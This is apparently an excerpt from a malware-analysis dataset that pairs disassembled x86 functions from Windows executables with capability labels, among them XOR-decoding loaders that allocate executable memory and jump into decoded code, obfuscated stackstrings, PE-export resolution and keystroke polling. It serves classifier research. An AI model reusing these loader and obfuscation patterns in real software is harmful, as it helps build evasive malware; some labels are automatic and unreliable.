joyce8/EMBER2024-capa huggingface dataset:
Function at 0x429fd3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x42a01d
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x429fc4
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x429fd3
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x82fc76
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x42a024
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.00410e9a
cmp eax, dword [ebp + 0xc]
pop eax
je 0x42a0c3
add edi, 4
add eax, 2
dec ecx
jne 0x42a009
call 0x42a070
loope 0x42a066
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x42a0c0
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x42a0d1
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x42a084
cmp eax, ecx
ja 0x42a084
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x42a10e
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x42a104
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.00411379
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x401460
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x440
call sym.___main
mov dword [esp + 0x42e], 0x75706e69
mov dword [esp + 0x432], 0x78742e74
mov word [esp + 0x436], 0x74
mov dword [esp + 0x423], 0x7074756f
mov dword [esp + 0x427], 0x742e7475
mov word [esp + 0x42b], 0x7478
mov byte [esp + 0x42d], 0
mov dword [esp + 4], 0x405064
lea eax, [esp + 0x42e]
mov dword [esp], eax
call sym._fopen
mov dword [esp + 0x43c], eax
mov dword [esp + 4], 0x405066
lea eax, [esp + 0x423]
mov dword [esp], eax
call sym._fopen
mov dword [esp + 0x438], eax
cmp dword [esp + 0x438], 0
jne 0x40152e
lea eax, [esp + 0x42e]
mov dword [esp + 8], eax
mov dword [esp + 4], str.impossibile_aprire__s__n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov dword [esp], 1
call sym._exit
cmp dword [esp + 0x43c], 0
jne 0x4015c5
lea eax, [esp + 0x423]
mov dword [esp + 8], eax
mov dword [esp + 4], str.impossibile_aprire__s__n
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._fprintf
mov dword [esp], 1
call sym._exit
mov eax, dword [esp + 0x43c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x400
lea eax, [esp + 0x23]
mov dword [esp], eax
call sym._fgets
movzx eax, byte [esp + 0x20]
movsx ecx, al
movzx eax, byte [esp + 0x21]
movsx edx, al
movzx eax, byte [esp + 0x22]
movsx eax, al
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str._c__c__c_n
mov eax, dword [esp + 0x438]
mov dword [esp], eax
call sym._fprintf
lea eax, [esp + 0x20]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x21]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x22]
mov dword [esp + 8], eax
mov dword [esp + 4], str._c__c__c
mov eax, dword [esp + 0x43c]
mov dword [esp], eax
call sym._fscanf
cmp eax, 3
je 0x40156b
mov eax, dword [esp + 0x43c]
mov dword [esp], eax
call sym._fclose
mov eax, dword [esp + 0x438]
mov dword [esp], eax
call sym._fclose
nop
leave
ret
Function at 0x401c60
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40703c]
sub esp, 4
test ebx, ebx
je 0x401cab
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401ca4
test esi, esi
je 0x401ca4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401c80
mov dword [esp], 0x407044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401e90
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401ee0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x401fb8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401f1e
cmp eax, 4
jne 0x401f40
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401f2e
cmp edx, 4
je 0x401f2e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401e90
Function at 0x4027d0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [0x40403f], eax
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push str.Salmimo
push str.Limoclass
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402818
xor eax, eax
jmp 0x402833
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x2d817083
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x30
mov eax, 0x2d8e2e01
call fcn.2d805d6a
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x30]
push eax
push str.SoftwareMicrosoftInternet_Explorer
xor ebx, ebx
push 0x80000002
mov dword [ebp - 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x2d8170b6
xor al, al
jmp 0x2d81717e
push ebx
mov byte [ebp - 0x2c], bl
lea ecx, [ebp - 0x28]
push dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x18], ebx
push 0x100
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.2d8318e0
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x38]
xor edi, edi
mov dword [ebp - 0x38], eax
inc edi
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push ecx
cmovae eax, dword [ebp - 0x28]
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], edi
push eax
push ebx
push str.Version
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
sete bl
test eax, eax
jne 0x2d81712f
lea eax, [ebp - 0x28]
cmp esi, eax
je 0x2d81712f
cmp dword [ebp - 0x14], 8
mov ecx, esi
push dword [ebp - 0x18]
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.2d8318e0
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x2d81717c
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], edi
cmp eax, 0x1000
jb 0x2d817173
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.2d8318e0
mov eax, dword [ebp - 0x34]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x2c]
push eax
push ecx
call fcn.2d8318e0
pop ecx
pop ecx
mov al, bl
call fcn.2d807648
ret
Function at 0x2d8318f6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x2d8318ef
pop dword [ebp - 0x48]
mov eax, 0xc7736eb5
mov ch, 0x6e
jae 0x2d8318c1
sub eax, 0x99f055c6
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x1a2405c0
sub dword [ebp - 0x58], 0xcbd1c075
mov dword [ebp - 0x54], 0x8207cb57
sub dword [ebp - 0x54], 0x4fd47f12
mov dword [ebp - 0x50], 0x72c870f9
sub dword [ebp - 0x50], 0x267c2ccb
mov dword [ebp - 0x4c], 0x5321338b
add dword [ebp - 0x4c], 0xacdecc75
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xa637b12e
add dword [ebp - 0x58], 0xce3ab828
mov dword [ebp - 0x54], 0xb4dcba8d
add dword [ebp - 0x54], 0x8c8fa6e8
mov dword [ebp - 0x50], 0x8e99f124
sub dword [ebp - 0x50], 0x2b2a84b8
mov dword [ebp - 0x4c], 0x1caa23b8
add dword [ebp - 0x4c], 0xe355dc48
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x6a827fb3
add eax, 0xc30d30dd
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x6c038
push 0
call eax
mov ecx, 0x4b62
xor esi, esi
add esi, eax
mov edx, 0x2d9ae000
add edx, dword [ebp - 0x48]
mov ebx, 0x4b669284
sub ebx, 0x3797b108
mov dword [ebp - 0x14], 0xd60d6f0f
mov edi, dword [edx]
xor dword [ebp - 0x14], 0xa5c5e598
xor edi, ebx
xor dword [ebp - 0x34], 0xedf0aec6
mov dword [esi], edi
sub dword [ebp - 0x1c], ebx
add esi, 4
add edx, 0xdd76e616
sub edx, 0xdd76e612
loop 0x2d831a02
add eax, 0x7767e883
sub eax, 0x7766c828
mov ebx, eax
add eax, 0x9aa6c589
sub eax, 0x9aa6c584
mov ecx, 0x9e19e3c8
sub ecx, 0x7099e3c8
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x2d8357c4
Capabilities:
Get disk information

Disassembly:
push 0x3c
mov eax, 0x2d8e5ab1
call fcn.2d805d6a
mov esi, dword [ebp + 8]
xor ebx, ebx
push esi
call fcn.2d8318e0
pop ecx
test al, al
je 0x2d83591e
lea eax, [ebp - 0x44]
push eax
push ebx
push esi
call fcn.2d8354bd
add esp, 0xc
test eax, eax
jne 0x2d835926
push dword [ebp - 0x44]
push 1
call fcn.2d8318e0
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x2d835926
lea eax, [ebp - 0x44]
push eax
push edi
push esi
call fcn.2d8354bd
add esp, 0xc
test eax, eax
jne 0x2d835926
mov byte [edi + 3], bl
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
push edi
lea ecx, [ebp - 0x40]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], bl
call fcn.2d82c3ac
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.2d8361de
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], bl
pop ecx
pop ecx
cmp eax, 0x10
jb 0x2d8358a4
mov ecx, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov byte [ebp - 4], 2
cmp eax, 0x1000
jb 0x2d835898
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.2d8318e0
mov eax, dword [ebp - 0x44]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x48]
push eax
push ecx
call fcn.2d8318e0
pop ecx
pop ecx
mov byte [ebp - 4], bl
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_GetDriveTypeW]
cmp eax, 2
je 0x2d8358c0
cmp eax, 5
jne 0x2d8358c2
mov bl, 1
mov eax, dword [0x2d96a8d4]
push edi
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x2d8fb384]
call esi
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x14]
pop ecx
cmp eax, 8
jb 0x2d83591e
mov ecx, dword [ebp - 0x28]
lea eax, [eax*2 + 2]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 4], 3
cmp eax, 0x1000
jb 0x2d835915
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.2d8318e0
mov eax, dword [ebp - 0x48]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x44]
push eax
push ecx
call fcn.2d8318e0
pop ecx
pop ecx
mov al, bl
call fcn.2d807648
ret
xor al, al
jmp 0x2d835920
Function at 0x402ae0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402b78
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402b58
xor eax, eax
push ebp
push 0x402b51
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402b94
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402b58
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret
Function at 0x404de4
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x404fa0
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x404e45
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x404fbc
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404eb7
xor eax, eax
push ebp
push 0x404eb0
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
call fcn.00404c3c
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404e99
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x404fdc
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404eb7
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x404f98
cmp byte [ebp - 0xd], 0
jne 0x404ef9
cmp byte [ebp - 0x12], 0
je 0x404f98
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x404f12
dec ebx
cmp byte [ebx], 0x2e
je 0x404f21
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x404f11
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x404f98
inc ebx
cmp byte [ebp - 0x12], 0
je 0x404f4e
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404f98
cmp byte [ebp - 0xd], 0
je 0x404f98
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404f98
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40867c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push 0x100
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x4086b5
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004039c0
jmp 0x4086be
mov eax, ebx
mov edx, esi
call fcn.0040392c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4086c8
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x4086e9
mov al, byte [esp]
jmp 0x4086eb
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x41390c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x413912
ret

Function at 0x415c78
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x415cc9
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x415cb0
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x415ca0
jmp 0x415cc9
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x415cb1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x420d2c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
cmp dword [0x447778], 0
sete dl
or al, dl
jne 0x420e6c
mov eax, dword [0x44777c]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x447778]
mov esi, dword [eax + 8]
dec esi
test esi, esi
jl 0x420e3b
inc esi
xor edi, edi
mov edx, edi
mov eax, dword [0x447778]
call fcn.0040d39c
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x420e33
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x168], 0
je 0x420e33
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x4c]
test al, al
je 0x420e33
mov eax, dword [ebp - 0x14]
call fcn.00428ffc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x420e33
push ebp
call fcn.00420ce8
pop ecx
test al, al
jne 0x420e33
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x90]
cmp eax, dword [ebp - 0x14]
jne 0x420def
mov eax, dword [ebp - 0x14]
call fcn.00427988
dec eax
jle 0x420e33
mov byte [ebp - 1], 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov bx, 0xffc1
call fcn.00402e44
cmp byte [ebp - 1], 0
je 0x420e33
push dword [ebp - 8]
push dword [ebp - 0xc]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x420e33
mov edx, dword [ebp - 0x14]
mov eax, dword [0x44777c]
call fcn.00420534
inc edi
dec esi
jne 0x420d82
mov eax, dword [0x44777c]
cmp dword [eax + 8], 0
jle 0x420e53
mov eax, dword [0x44777c]
call fcn.004205c4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x420e6c
push ebp
mov eax, dword [ebp - 0x18]
call fcn.00420b50
pop ecx
test al, al
jne 0x420e6c
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x426994
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov eax, dword [esi]
cmp eax, 0x84
jg 0x4269c5
je 0x426a1f
sub eax, 7
je 0x4269e6
dec eax
je 0x426a10
sub eax, 0x17
je 0x426ac4
jmp 0x426b02
add eax, 0xffffff00
sub eax, 9
jb 0x426ab0
add eax, 0xffffff09
sub eax, 0xb
jb 0x426a78
jmp 0x426b02
mov eax, ebx
call fcn.004384b4
mov edi, eax
test edi, edi
je 0x426b62
mov edx, ebx
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0xd4]
test al, al
je 0x426b6b
jmp 0x426b62
test byte [ebx + 0x44], 0x20
jne 0x426b6b
jmp 0x426b62
mov edx, esi
mov eax, ebx
call fcn.00423fd4
cmp dword [esi + 0xc], 0xffffffff
jne 0x426b6b
push 0
lea edx, [ebp - 0x120]
mov eax, dword [esi + 8]
call fcn.00406830
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x118]
mov eax, ebx
call fcn.00422b08
lea edx, [ebp - 0x118]
xor ecx, ecx
mov eax, ebx
call fcn.0042686c
test eax, eax
je 0x426b6b
mov dword [esi + 0xc], 1
jmp 0x426b6b
mov edx, esi
mov eax, ebx
call fcn.00426900
test al, al
je 0x426b62
cmp dword [esi + 0xc], 0
jne 0x426b6b
mov eax, dword [esi + 8]
push eax
mov eax, dword [esi + 4]
push eax
mov eax, dword [esi]
push eax
mov eax, ebx
call fcn.00428ffc
push eax
call sub.user32.dll_DefWindowProcA
jmp 0x426b6b
mov eax, ebx
call fcn.00423670
test al, al
jne 0x426b6b
jmp 0x426b62
mov eax, ebx
call fcn.00428ffc
mov edi, eax
call sub.user32.dll_GetCapture
cmp edi, eax
jne 0x426b62
cmp dword [0x446700], 0
je 0x426b62
mov eax, dword [0x446700]
cmp ebx, dword [eax + 0x24]
jne 0x426b62
push 0
xor ecx, ecx
mov edx, 0x1f
mov eax, dword [0x446700]
call fcn.00423f08
jmp 0x426b62
mov eax, dword [0x447740]
cmp byte [eax + 0x20], 0
je 0x426b62
mov eax, dword [0x447740]
cmp dword [eax + 0x1c], 0
je 0x426b62
mov eax, dword [esi]
mov edx, dword [0x447740]
cmp eax, dword [edx + 0x1c]
jne 0x426b62
lea eax, [ebp - 0x110]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x110]
call fcn.004383f8
mov byte [ebp - 0xc], al
mov ax, word [esi + 4]
mov word [ebp - 0xa], ax
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, ebx
mov bx, 0xffb7
call fcn.00402e44
jmp 0x426b6b
mov edx, esi
mov eax, ebx
call fcn.00423fd4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret